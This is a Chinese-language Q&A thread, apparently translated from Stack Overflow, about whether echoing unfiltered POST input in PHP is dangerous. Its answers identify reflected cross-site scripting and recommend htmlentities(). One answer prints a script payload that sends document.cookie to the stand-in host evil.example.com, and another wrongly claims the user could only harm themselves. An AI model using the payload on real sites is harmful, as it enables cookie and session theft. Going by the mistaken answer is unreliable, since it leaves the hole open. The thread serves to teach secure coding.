我有一个文本框,用户在其中输入一个值,而PHP脚本则回应它。文本框通过POST
发送到服务器,并保存在名为 Temp 的变量中。
如果我使用下面的行创建输出脚本,那么回声是否会阻止文件包含或任意PHP注入,假设没有进行任何验证?
<?php echo $Temp; ?>
答案 0 :(得分:2)
mkaatman的回答可能会也可能不会解决您的问题。 Javascript是客户端,所以没有任何服务器端恶意发生。如果用户在您回显给他们的文本框中放置了恶意内容,他们只会在客户端影响自己。
换句话说,如果您所做的只是存储和回显,PHP不会执行用户在该变量中输入的内容。不会对服务器造成任何伤害......而且我认为这就是你所要求的
答案 1 :(得分:1)
没有。我可以在输入中输入恶意javascript代码,当您查看使用<?php echo $Temp; ?>
答案 2 :(得分:1)
这是一个典型的xss漏洞
阅读更多here
因此,在获得任何用户输入后,请务必过滤掉它。
php有很好的类型转换,如(string)$Temp
和上面提到的htmlspecialchars()
和htmlentities()
答案 3 :(得分:1)
这是一个经典的反映Cross Site Scripting漏洞。注入的代码不会在服务器上执行。
恶意用户可以设置自己的网站POST到您的表单。 POSTed值可能是这样的
<script>
new Img().src = 'https://evil.example.com?' + escape(document.cookie);
</script>
当登录您网站的用户访问恶意网页时,攻击者将检索您网站的用户Cookie(以及任何未标记为HttpOnly的Cookie)。 要缓解这种情况,请执行以下操作:
<?php echo htmlentities($Temp); ?>
将任何脚本显示为HTML而不是执行它。